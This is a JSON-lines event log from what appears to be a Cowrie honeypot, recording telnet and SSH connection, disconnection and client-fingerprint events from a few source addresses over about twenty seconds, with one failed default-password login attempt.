{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43898,"dst_ip":"159.203.135.109","dst_port":23,"session":"accab4e6afc8","protocol":"telnet","message":"New connection: 69.162.99.242:43898 (159.203.135.109:23) [session: accab4e6afc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:11.662907Z"}
{"eventid":"cowrie.session.closed","duration":31.59778380393982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:11.726930Z","src_ip":"69.162.99.242","session":"8dcc4bfbc661","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":41534,"dst_ip":"159.203.135.109","dst_port":23,"session":"9be1afd32c17","protocol":"telnet","message":"New connection: 69.162.99.242:41534 (159.203.135.109:23) [session: 9be1afd32c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:11.800353Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":45024,"dst_ip":"159.203.135.109","dst_port":23,"session":"2461411a6cc0","protocol":"telnet","message":"New connection: 69.162.99.242:45024 (159.203.135.109:23) [session: 2461411a6cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:12.101765Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":57852,"dst_ip":"10.17.0.5","dst_port":22,"session":"91f783264965","protocol":"ssh","message":"New connection: 154.198.162.75:57852 (10.17.0.5:22) [session: 91f783264965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:12.985186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:12.990523Z","src_ip":"154.198.162.75","session":"91f783264965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:13.195360Z","src_ip":"154.198.162.75","session":"91f783264965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":46816,"dst_ip":"159.203.135.109","dst_port":23,"session":"895783d393d9","protocol":"telnet","message":"New connection: 69.162.99.242:46816 (159.203.135.109:23) [session: 895783d393d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:13.840637Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"11111111","message":"login attempt [ubuntu/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:14.031917Z","src_ip":"154.198.162.75","session":"91f783264965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.109004497528076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:14.116599Z","src_ip":"69.162.99.242","session":"244190c19a5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50702,"dst_ip":"159.203.135.109","dst_port":23,"session":"a228f952b78c","protocol":"telnet","message":"New connection: 69.162.99.242:50702 (159.203.135.109:23) [session: a228f952b78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:14.210186Z"}
{"eventid":"cowrie.session.closed","duration":30.65647554397583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:14.420703Z","src_ip":"69.162.99.242","session":"c510c7671908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:15.235535Z","src_ip":"154.198.162.75","session":"91f783264965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":53554,"dst_ip":"159.203.135.109","dst_port":23,"session":"513ada40eaa6","protocol":"telnet","message":"New connection: 69.162.99.242:53554 (159.203.135.109:23) [session: 513ada40eaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:15.466949Z"}
{"eventid":"cowrie.session.closed","duration":30.760738611221313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:15.472822Z","src_ip":"69.162.99.242","session":"1241e35d0155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55642,"dst_ip":"159.203.135.109","dst_port":23,"session":"abbe33d21676","protocol":"telnet","message":"New connection: 69.162.99.242:55642 (159.203.135.109:23) [session: abbe33d21676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:16.294337Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55948,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cbf9e396aa2","protocol":"telnet","message":"New connection: 69.162.99.242:55948 (159.203.135.109:23) [session: 9cbf9e396aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:16.415758Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57174,"dst_ip":"159.203.135.109","dst_port":23,"session":"a41dbff46873","protocol":"telnet","message":"New connection: 69.162.99.242:57174 (159.203.135.109:23) [session: a41dbff46873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:16.918614Z"}
{"eventid":"cowrie.session.closed","duration":31.343692541122437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:16.946162Z","src_ip":"69.162.99.242","session":"2629cdde9b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57596,"dst_ip":"159.203.135.109","dst_port":23,"session":"65ef96566423","protocol":"telnet","message":"New connection: 69.162.99.242:57596 (159.203.135.109:23) [session: 65ef96566423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:17.091870Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":58606,"dst_ip":"159.203.135.109","dst_port":23,"session":"f80e9051ea0c","protocol":"telnet","message":"New connection: 69.162.99.242:58606 (159.203.135.109:23) [session: f80e9051ea0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:17.539790Z"}
{"eventid":"cowrie.session.closed","duration":30.717498064041138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:17.566544Z","src_ip":"69.162.99.242","session":"0316065dbd5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":57110,"dst_ip":"159.203.135.109","dst_port":23,"session":"03aad7427ccf","protocol":"telnet","message":"New connection: 69.162.99.242:57110 (159.203.135.109:23) [session: 03aad7427ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:17.906764Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":59588,"dst_ip":"159.203.135.109","dst_port":23,"session":"809c68f3de52","protocol":"telnet","message":"New connection: 69.162.99.242:59588 (159.203.135.109:23) [session: 809c68f3de52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:18.007863Z"}
{"eventid":"cowrie.session.closed","duration":31.092508554458618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:18.649917Z","src_ip":"69.162.99.242","session":"875375f6f2a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.749574899673462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:18.835821Z","src_ip":"69.162.99.242","session":"57803e3f10f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":34638,"dst_ip":"159.203.135.109","dst_port":23,"session":"f045ce628e67","protocol":"telnet","message":"New connection: 69.162.99.242:34638 (159.203.135.109:23) [session: f045ce628e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:19.222558Z"}
{"eventid":"cowrie.session.closed","duration":31.005388975143433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:19.475044Z","src_ip":"69.162.99.242","session":"0b9751e84fe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12402653694153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:19.886285Z","src_ip":"69.162.99.242","session":"1b6b23c3aa07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36604,"dst_ip":"159.203.135.109","dst_port":23,"session":"531199e0ea6a","protocol":"telnet","message":"New connection: 69.162.99.242:36604 (159.203.135.109:23) [session: 531199e0ea6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:20.121142Z"}
{"eventid":"cowrie.session.closed","duration":31.102578163146973,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:20.153054Z","src_ip":"69.162.99.242","session":"7c8af7d32b9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039785861968994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:20.194742Z","src_ip":"69.162.99.242","session":"75210318a74c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42725658416748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:20.998641Z","src_ip":"69.162.99.242","session":"be3d879666e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":39020,"dst_ip":"159.203.135.109","dst_port":23,"session":"46b1c5b79ded","protocol":"telnet","message":"New connection: 69.162.99.242:39020 (159.203.135.109:23) [session: 46b1c5b79ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:21.143207Z"}
{"eventid":"cowrie.session.closed","duration":31.09221339225769,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:21.311759Z","src_ip":"69.162.99.242","session":"9e3bf3018373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":37052,"dst_ip":"159.203.135.109","dst_port":23,"session":"5036f4d463ca","protocol":"telnet","message":"New connection: 69.162.99.242:37052 (159.203.135.109:23) [session: 5036f4d463ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:21.324030Z"}
{"eventid":"cowrie.session.closed","duration":31.360234260559082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:21.417580Z","src_ip":"69.162.99.242","session":"8273c061546f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104328155517578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:21.836998Z","src_ip":"69.162.99.242","session":"94ddacc6b029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":41322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6830b9746f7","protocol":"telnet","message":"New connection: 69.162.99.242:41322 (159.203.135.109:23) [session: c6830b9746f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:22.209510Z"}
{"eventid":"cowrie.session.closed","duration":31.10067915916443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:22.214870Z","src_ip":"69.162.99.242","session":"0ac87f006481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":43808,"dst_ip":"159.203.135.109","dst_port":23,"session":"28c562ee7723","protocol":"telnet","message":"New connection: 69.162.99.242:43808 (159.203.135.109:23) [session: 28c562ee7723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:23.214993Z"}
{"eventid":"cowrie.session.closed","duration":31.32037878036499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:23.394504Z","src_ip":"69.162.99.242","session":"e35e61298876","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101255178451538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:23.463523Z","src_ip":"69.162.99.242","session":"2c5b35fdd43b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60212,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b7cc2a500fd","protocol":"telnet","message":"New connection: 45.58.127.90:60212 (10.17.0.5:23) [session: 2b7cc2a500fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:23.863411Z"}
{"eventid":"cowrie.session.closed","duration":31.179770469665527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:24.174279Z","src_ip":"69.162.99.242","session":"0e6f7134017b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54656,"dst_ip":"159.203.135.109","dst_port":23,"session":"20678777e4d4","protocol":"telnet","message":"New connection: 147.182.143.59:54656 (159.203.135.109:23) [session: 20678777e4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:24.666547Z"}
{"eventid":"cowrie.session.closed","duration":31.087883234024048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:24.777200Z","src_ip":"69.162.99.242","session":"26c1719f2da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10503101348877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:24.871982Z","src_ip":"69.162.99.242","session":"38f4b2007454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":48088,"dst_ip":"159.203.135.109","dst_port":23,"session":"3119fad5e023","protocol":"telnet","message":"New connection: 69.162.99.242:48088 (159.203.135.109:23) [session: 3119fad5e023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:25.022641Z"}
{"eventid":"cowrie.session.closed","duration":39.26146101951599,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:25.588200Z","src_ip":"45.58.127.90","session":"b76946f4ea79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50004,"dst_ip":"159.203.135.109","dst_port":23,"session":"a145465054ac","protocol":"telnet","message":"New connection: 69.162.99.242:50004 (159.203.135.109:23) [session: a145465054ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:25.794211Z"}
{"eventid":"cowrie.session.closed","duration":30.089709043502808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:26.051381Z","src_ip":"69.162.99.242","session":"ca28d8f5682f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472622394561768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:26.057042Z","src_ip":"69.162.99.242","session":"d26de381d900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59413433074951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:26.302584Z","src_ip":"69.162.99.242","session":"557bbb8d051c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":51376,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef0ede486cd2","protocol":"telnet","message":"New connection: 69.162.99.242:51376 (159.203.135.109:23) [session: ef0ede486cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:26.414683Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60224,"dst_ip":"10.17.0.5","dst_port":23,"session":"83c7246399ef","protocol":"telnet","message":"New connection: 45.58.127.90:60224 (10.17.0.5:23) [session: 83c7246399ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:26.646574Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.255.221.189","src_port":34186,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fe1b6629d77","protocol":"ssh","message":"New connection: 173.255.221.189:34186 (159.203.135.109:22) [session: 2fe1b6629d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:26.719605Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":53290,"dst_ip":"159.203.135.109","dst_port":23,"session":"29caccd2edaf","protocol":"telnet","message":"New connection: 69.162.99.242:53290 (159.203.135.109:23) [session: 29caccd2edaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:27.194809Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":54690,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bc392a4711f","protocol":"telnet","message":"New connection: 69.162.99.242:54690 (159.203.135.109:23) [session: 9bc392a4711f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:27.685177Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55080,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcb3a831c563","protocol":"telnet","message":"New connection: 69.162.99.242:55080 (159.203.135.109:23) [session: fcb3a831c563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:27.803686Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55266,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5f689748767","protocol":"telnet","message":"New connection: 69.162.99.242:55266 (159.203.135.109:23) [session: b5f689748767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:27.858459Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48610,"dst_ip":"159.203.135.109","dst_port":23,"session":"afb15705ba9f","protocol":"telnet","message":"New connection: 147.182.143.59:48610 (159.203.135.109:23) [session: afb15705ba9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:27.872118Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55616,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe5c5abe8b55","protocol":"telnet","message":"New connection: 69.162.99.242:55616 (159.203.135.109:23) [session: fe5c5abe8b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:27.975532Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":55828,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e6dc7216569","protocol":"telnet","message":"New connection: 69.162.99.242:55828 (159.203.135.109:23) [session: 6e6dc7216569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:28.084894Z"}
{"eventid":"cowrie.session.closed","duration":31.227635145187378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:28.684976Z","src_ip":"69.162.99.242","session":"341979c933e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60232,"dst_ip":"10.17.0.5","dst_port":23,"session":"5116d0bb9a4a","protocol":"telnet","message":"New connection: 45.58.127.90:60232 (10.17.0.5:23) [session: 5116d0bb9a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:28.758496Z"}
{"eventid":"cowrie.session.closed","duration":31.10300850868225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:29.770864Z","src_ip":"69.162.99.242","session":"262f325c33de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1165132522583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:30.076002Z","src_ip":"69.162.99.242","session":"087cd5afb3c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.163507223129272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:30.109045Z","src_ip":"69.162.99.242","session":"d14ac4ce0a58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60306,"dst_ip":"159.203.135.109","dst_port":23,"session":"5250aef65b0e","protocol":"telnet","message":"New connection: 69.162.99.242:60306 (159.203.135.109:23) [session: 5250aef65b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:30.163756Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":48624,"dst_ip":"159.203.135.109","dst_port":23,"session":"529075a6c278","protocol":"telnet","message":"New connection: 147.182.143.59:48624 (159.203.135.109:23) [session: 529075a6c278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:30.306473Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":60734,"dst_ip":"159.203.135.109","dst_port":23,"session":"f86e1a8615c7","protocol":"telnet","message":"New connection: 69.162.99.242:60734 (159.203.135.109:23) [session: f86e1a8615c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:30.361507Z"}
{"eventid":"cowrie.session.closed","duration":31.097209215164185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:30.889700Z","src_ip":"69.162.99.242","session":"8427ba822cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":33884,"dst_ip":"159.203.135.109","dst_port":23,"session":"b56d16228108","protocol":"telnet","message":"New connection: 69.162.99.242:33884 (159.203.135.109:23) [session: b56d16228108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:30.902953Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":33890,"dst_ip":"159.203.135.109","dst_port":23,"session":"a378f02eb374","protocol":"telnet","message":"New connection: 69.162.99.242:33890 (159.203.135.109:23) [session: a378f02eb374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:30.911144Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":35192,"dst_ip":"159.203.135.109","dst_port":23,"session":"220b48432ece","protocol":"telnet","message":"New connection: 69.162.99.242:35192 (159.203.135.109:23) [session: 220b48432ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:34:31.462866Z"}
